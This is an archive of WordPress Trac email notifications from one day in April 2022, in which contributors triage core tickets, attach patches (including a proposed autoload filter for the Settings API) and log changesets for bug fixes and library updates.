[wp-trac] [WordPress Trac] #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. In-Reply-To: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> References: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> Message-ID: <075.0fd9545683ab6432342870992f4aa8d6@wordpress.org> #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. ------------------------------+------------------------------ Reporter: rajanpanchal2028 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.3 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ui ------------------------------+------------------------------ Changes (by rajanpanchal2028): * Attachment "Reload-alignment.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55627> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 12:43:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 12:43:33 -0000 Subject: [wp-trac] [WordPress Trac] #55622: Remove Global Styles In-Reply-To: <059.f9f16b96b7bb91986748d13b563fe8c4@wordpress.org> References: <059.f9f16b96b7bb91986748d13b563fe8c4@wordpress.org> Message-ID: <074.d9c15d83a6baa2e6e82ae43b1974e53b@wordpress.org> #55622: Remove Global Styles -----------------------------+---------------------- Reporter: PacesetterMedia | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: css -----------------------------+---------------------- Changes (by desrosj): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hi @PacesetterMedia, Thanks for this ticket, and welcome to Trac! While I appreciate that you don’t agree with how global styles has been implemented, the feature is not being removed. However, everyone involved is working very hard to try and make global styles and WordPress better for all, and any specific suggestions for improvements are more than welcome. The hope is that these suggestions come forward after more people begin using the features. I’m closing this ticket out as there are no actionable steps that can be taken due to the broad nature of the report. If you need further support with an aspect of global styles, please open a ticket in the[https://wordpress.org/support/forums Support Forums]. If you have specific individual bug reports or suggestions, please open an issue on the [https://github.com/WordPress/gutenberg Gutenberg repository on GitHub], as that’s where the source code for the block editor features reside and are iterated on. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55622#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:11:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:11:52 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens Message-ID: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens --------------------------+----------------------------- Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: javascript | --------------------------+----------------------------- In 6.0 Beta 3, I am seeing a number of console errors on the Theme/Plugin File Editor screens and the syntax highlighting is no longer working. To test, make sure you are using 6.0 Beta 3, then navigate to either the Theme File Editor or Plugin File Editor screens. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:12:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:12:08 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens In-Reply-To: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> References: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> Message-ID: <065.f708458d33ed4aee033e54fb2df2031b@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens --------------------------+------------------------------ Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: javascript --------------------------+------------------------------ Changes (by ndiego): * Attachment "console-errors.jpg" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:13:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:13:40 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.53a49ff07b8f82f885d49657da4c09c0@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript refresh | ----------------------------------+---------------------------------------- Changes (by afercia): * Attachment "55537.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:14:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:14:21 -0000 Subject: [wp-trac] [WordPress Trac] #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. In-Reply-To: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> References: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> Message-ID: <075.df2a22d114cb02dc1bc87861eb286123@wordpress.org> #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. ------------------------------+------------------------------ Reporter: rajanpanchal2028 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: ui ------------------------------+------------------------------ Changes (by mukesh27): * version: 5.9.3 => Comment: Hi there! Welcome to the Trac. Thanks for the ticket. I reproduce the same issue on the mobile screen. Please check attached patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55627#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:14:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:14:43 -0000 Subject: [wp-trac] [WordPress Trac] #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. In-Reply-To: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> References: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> Message-ID: <075.e0fe9046c373c59a0be39b2aef2f1f88@wordpress.org> #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. ------------------------------+------------------------------ Reporter: rajanpanchal2028 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: ui ------------------------------+------------------------------ Changes (by mukesh27): * Attachment "55627.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55627> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:15:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:15:34 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.a429b441d998fa926a4ed00c82c599eb@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by afercia): * keywords: has-patch needs-refresh => has-patch needs-testing Old description: > Splitting this out from #47018. > > Amongst other things, the `window.wpAjax` response takes care of > displaying success / error admin notices on some pages. In [52170] a > couple of these notices were paired with accessible audible messages via > `wp.a11y.speak`. > > There are a few more notices that can benefit from the same audibel > messages, which are typically the responses triggered when `wp_die()` is > used. New description: Splitting this out from #47018. Amongst other things, the `window.wpAjax` response takes care of displaying success / error admin notices on some pages. In [52170] a couple of these notices were paired with accessible audible messages via `wp.a11y.speak`. There are a few more notices that can benefit from the same audible messages, which are typically the responses triggered when `wp_die()` is used. -- Comment: Thanks @alexstine. I went ahead and refreshed the patch against latest trunk. See [attachment:"55537.2.diff"] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:15:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:15:53 -0000 Subject: [wp-trac] [WordPress Trac] #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. In-Reply-To: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> References: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> Message-ID: <075.3218f396169d6eff7fd7ebf4992f3100@wordpress.org> #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. ------------------------------+------------------------------ Reporter: rajanpanchal2028 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui ------------------------------+------------------------------ Changes (by mukesh27): * keywords: needs-patch => has-patch Comment: Please add `define( 'SCRIPT_DEBUG', true );` in you wp-config.php then test the patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55627#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:22:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:22:02 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working (was: Numerous console errors on Theme/Plugin File Editor screens) In-Reply-To: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> References: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> Message-ID: <065.bdf41d1ff5ccb53569367d01e68b7904@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working --------------------------+------------------------------ Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: javascript --------------------------+------------------------------ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 13:46:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 13:46:13 -0000 Subject: [wp-trac] [WordPress Trac] #54700: wp-includes/vars.php can trigger warning In-Reply-To: <049.22ffbcb7193b541461fe9dc91bffee11@wordpress.org> References: <049.22ffbcb7193b541461fe9dc91bffee11@wordpress.org> Message-ID: <064.3eb49f5c3e7749b637e714d72ad4b57c@wordpress.org> #54700: wp-includes/vars.php can trigger warning -----------------------------------+----------------------------- Reporter: janh2 | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: 5.8.2 Severity: minor | Resolution: fixed Keywords: php8 has-patch commit | Focuses: -----------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53294" 53294]: {{{ #!CommitTicketReference repository="" revision="53294" Bootstrap/Load: Avoid a PHP warning when setting the `$pagenow` global in `wp-includes/vars.php`. In some scenarios where `is_admin()` returns true but `$_SERVER['PHP_SELF']` does not match a `wp-admin/*` location, setting the `$pagenow` global could trigger a PHP warning: `Undefined array key 1`. This commit avoids the warning by checking whether the matches array is not empty. Props janh2, konradyoast, peterwilsoncc. Fixes #54700. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54700#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 14:02:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 14:02:04 -0000 Subject: [wp-trac] [WordPress Trac] #55629: WordPress Settings API should be able to store option as autoload=false Message-ID: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> #55629: WordPress Settings API should be able to store option as autoload=false -------------------------+----------------------------- Reporter: apermo | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- As of now, using the WordPress Settings API, any option saved is stored as autoload=true. The only "solution" you find on stackoverflow is "do an update_option in the sanitize function", which actually does not work, since calling update_option will fire the sanitize callback and result in a recursion. Any other idea would be a hacky solution. Suggestion: Can we a filter within the {{{ update_options() }}} in {{{ options.php }}} to allow to alter it on saving, from checking the code, this is likely the quickest solution without completely altering the settings api. I would propose the following change to allow filtering of {{{$autoload}}} {{{ Index: public/wp-includes/option.php IDEA additional info: Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP <+>UTF-8 =================================================================== diff --git a/public/wp-includes/option.php b/public/wp-includes/option.php --- a/public/wp-includes/option.php +++ b/public/wp-includes/option.php (date 1651054674847) @@ -461,7 +461,16 @@ /** This filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) { - // Default setting for new options is 'yes'. + /** + * Filter autoload for an option. + * + * @since tbd + * + * @param string|null $autoload Current value of autoload, can be "yes", "no" or null. + */ + $autoload = apply_filters( "autoload_option_{$option}", $autoload ); + + // Default setting for options is 'yes'. if ( null === $autoload ) { $autoload = 'yes'; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55629> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 14:24:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 14:24:01 -0000 Subject: [wp-trac] [WordPress Trac] #54727: Update/Audit NPM Dependencies for 6.0 In-Reply-To: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> References: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> Message-ID: <073.83ae551c31b94d3f18499d7649225a36@wordpress.org> #54727: Update/Audit NPM Dependencies for 6.0 ------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+--------------------- Comment (by desrosj): In [changeset:"53295" 53295]: {{{ #!CommitTicketReference repository="" revision="53295" Bundled Themes: Update NPM dependencies for default themes. This updates all NPM dependencies for all default themes with a `package.json` file (Twenty Nineteen, Twenty Twenty, and Twenty Twenty- One) to their latest versions following the defined version constraints. `npm audit fix` has also been run for each theme. These updates only resulted in minor changes within built files for Twenty Twenty-One. See #54727. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54727#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 14:25:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 14:25:04 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.69063bf5caa1cca5ebc821c2c8e32038@wordpress.org> #55547: Minor external library updates for 6.0 ------------------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: Keywords: has-patch add-to-field-guide | Focuses: ------------------------------------------+----------------------- Changes (by desrosj): * status: closed => reopened * resolution: fixed => Comment: It looks like Underscore.js has another minor update available. Let's include it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 14:37:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 14:37:24 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.6d861b8471aa4dfecc62771069ff5d8a@wordpress.org> #55547: Minor external library updates for 6.0 ------------------------------------------+---------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: has-patch add-to-field-guide | Focuses: ------------------------------------------+---------------------- Changes (by desrosj): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53296" 53296]: {{{ #!CommitTicketReference repository="" revision="53296" External Libraries: Update the `underscore` library to version `1.13.3`. This is a minor bug fix release. Fixes #55547. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 14:55:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 14:55:34 -0000 Subject: [wp-trac] [WordPress Trac] #55630: add array input to meta_query key Message-ID: <053.d5786a72dc6c23866f7dfe97cf86984f@wordpress.org> #55630: add array input to meta_query key -------------------------+----------------------------- Reporter: hossin277 | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Query | Version: 5.9.3 Severity: normal | Keywords: has-patch Focuses: performance | -------------------------+----------------------------- use : {{{ 'meta_query' => array( 'relation' => 'OR', array( 'key' => ['meta_key_1' , 'meta_key_2', 'meta_key_3'], 'value' => 23, ), ); }}} Instead of this : {{{ 'meta_query' => array( 'relation' => 'OR', array( 'key' => 'meta_key_1', 'value' => 23, ), array( 'key' => 'meta_key_2', 'value' => 23, ), array( 'key' => 'meta_key_3', 'value' => 23, ), ); }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55630> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:06:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:06:19 -0000 Subject: [wp-trac] [WordPress Trac] #55629: WordPress Settings API should be able to store option as autoload=false In-Reply-To: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> References: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> Message-ID: <065.0042c1224f286eac0810a5f94ba39ffa@wordpress.org> #55629: WordPress Settings API should be able to store option as autoload=false --------------------------------+------------------------------ Reporter: apermo | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------------+------------------------------ Changes (by SergeyBiryukov): * component: General => Options, Meta APIs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55629#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:10:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:10:01 -0000 Subject: [wp-trac] [WordPress Trac] #55629: WordPress Settings API should be able to store option as autoload=false In-Reply-To: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> References: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> Message-ID: <065.4d536aa93f1d3f3df8cdee59b0f9439e@wordpress.org> #55629: WordPress Settings API should be able to store option as autoload=false --------------------------------+------------------------------ Reporter: apermo | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------------+------------------------------ Changes (by SergeyBiryukov): * focuses: => performance -- Ticket URL: <https://core.trac.wordpress.org/ticket/55629#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:13:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:13:06 -0000 Subject: [wp-trac] [WordPress Trac] #55629: WordPress Settings API should be able to store option as autoload=false In-Reply-To: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> References: <050.598f586b4bf867033abc18e2d319621f@wordpress.org> Message-ID: <065.459859fe5293392b8f984702bcc354b1@wordpress.org> #55629: WordPress Settings API should be able to store option as autoload=false --------------------------------+-------------------------- Reporter: apermo | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Options, Meta APIs | Version: Severity: normal | Resolution: duplicate Keywords: | Focuses: performance --------------------------------+-------------------------- Changes (by SergeyBiryukov): * status: new => closed * resolution: => duplicate * milestone: Awaiting Review => Comment: Hi there, welcome back to WordPress Trac! Thanks for the ticket. It looks lile a similar ticket was submitted a few days earlier: #55584, let's continue the discussion there. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55629#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:13:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:13:54 -0000 Subject: [wp-trac] [WordPress Trac] #55584: Settings API autoload hook In-Reply-To: <051.9361e62298ed97a81111b162cc67810d@wordpress.org> References: <051.9361e62298ed97a81111b162cc67810d@wordpress.org> Message-ID: <066.b2a08d041459eb3efbdef3068df15c9e@wordpress.org> #55584: Settings API autoload hook --------------------------------+------------------------------ Reporter: hir88en | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------------+------------------------------ Comment (by SergeyBiryukov): An example by @apermo from #55584: {{{ Index: public/wp-includes/option.php IDEA additional info: Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP <+>UTF-8 =================================================================== diff --git a/public/wp-includes/option.php b/public/wp-includes/option.php --- a/public/wp-includes/option.php +++ b/public/wp-includes/option.php (date 1651054674847) @@ -461,7 +461,16 @@ /** This filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) { - // Default setting for new options is 'yes'. + /** + * Filter autoload for an option. + * + * @since tbd + * + * @param string|null $autoload Current value of autoload, can be "yes", "no" or null. + */ + $autoload = apply_filters( "autoload_option_{$option}", $autoload ); + + // Default setting for options is 'yes'. if ( null === $autoload ) { $autoload = 'yes'; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55584#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:22:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:22:58 -0000 Subject: [wp-trac] [WordPress Trac] #54476: Improve image engine detection when output format adjusted with filter (example: WebP output) In-Reply-To: <059.dd466e6070f6af55c5f5b41615375d51@wordpress.org> References: <059.dd466e6070f6af55c5f5b41615375d51@wordpress.org> Message-ID: <074.2e9d6d39efce35499c50f7730fc85b11@wordpress.org> #54476: Improve image engine detection when output format adjusted with filter (example: WebP output) -------------------------------------+------------------------------ Reporter: adamsilverstein | Owner: adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+------------------------------ Changes (by adamsilverstein): * Attachment "54476.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54476> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:31:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:31:31 -0000 Subject: [wp-trac] [WordPress Trac] #39210: switch_to_locale() unloads all plugin and theme translations In-Reply-To: <049.b3260168584777fbc4ddb08d813e7b3e@wordpress.org> References: <049.b3260168584777fbc4ddb08d813e7b3e@wordpress.org> Message-ID: <064.c0582be24d1d50a8b747ec8480c9b3c2@wordpress.org> #39210: switch_to_locale() unloads all plugin and theme translations ----------------------------------------+----------------------------- Reporter: gchtr | Owner: ocean90 Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future Release Component: I18N | Version: 4.7 Severity: normal | Resolution: Keywords: has-unit-tests needs-patch | Focuses: ----------------------------------------+----------------------------- Comment (by SergeyBiryukov): I was curious what was the issue with the original implementation in [49236] that caused it to be reverted in [49566]. Based on a quick discussion with @swissspidy, addressing the performance regression reported in #51678 would help move this ticket forward. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39210#comment:46> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:52:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:52:36 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.d5998b8adb242cfd467f43286fc68d29@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+------------------------- Reporter: paaljoachim | Owner: nielslange Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+------------------------- Comment (by SergeyBiryukov): Replying to [comment:11 knutsp]: > Replying to [comment:9 paaljoachim]: > > If I write Norwegian with an English keyboard I would use the aa instead of å. > > Good point, and this was mentioned back then. Also international standards on the field. However, writing is slightly different than slugs, as distinguishing between "a" and "å" might feel needed. > > So, it was argued from a conservative point of view, don't change what works just fine. That a change was made just for Danish surprised me a bit, but that effectively silenced the discussion. For reference, [26585] / #23907 appears to be the related change. Replying to [comment:10 johnbillion]: > There's already a test for this but only for the `remove_accents()` function, not that it actually applies those transformations to the name of an uploaded file. https://github.com/WordPress/wordpress- develop/blob/16b04903feec8216bdd2e6230f4ad511a9238db1/tests/phpunit/tests/formatting/removeAccents.php#L15 There is a [source:tags/5.9.3/tests/phpunit/tests/formatting/sanitizeFileName.php#L23 test with some of the mentioned characters] for `sanitize_file_name()` too, see [48603] / #22363. If that doesn't always work as expected, something else might be involved. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 15:58:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 15:58:51 -0000 Subject: [wp-trac] [WordPress Trac] #55625: Administration email address In-Reply-To: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> References: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> Message-ID: <070.601d2bbaca888dee91a8641f8f62ae0f@wordpress.org> #55625: Administration email address --------------------------+---------------------- Reporter: hknight1938 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by SergeyBiryukov): * milestone: Awaiting Review => Comment: Hi there, welcome to WordPress Trac! Please note that this Trac is used for enhancements and bug reporting for the WordPress core software, not for individual support questions. As noted above, please try the support forums to get help with your site: https://wordpress.org/support/forums/. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55625#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 16:01:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 16:01:19 -0000 Subject: [wp-trac] [WordPress Trac] #55624: Deprecations and proper checks needed here In-Reply-To: <052.bf5fe540cc2c2c17331f25d27d20a2fc@wordpress.org> References: <052.bf5fe540cc2c2c17331f25d27d20a2fc@wordpress.org> Message-ID: <067.79b9c3cf0882ec18daf60e8e46ceb0e7@wordpress.org> #55624: Deprecations and proper checks needed here --------------------------+------------------------ Reporter: wparslan | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------ Changes (by SergeyBiryukov): * keywords: needs-patch => * status: new => closed * resolution: => duplicate * milestone: Awaiting Review => Comment: Hi there, welcome back to WordPress Trac! Thanks for the report. As noted above, we're already tracking this issue in #55411. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55624#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 16:35:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 16:35:28 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.b31ac9c50019f616fe7be2df3cd944d3@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: 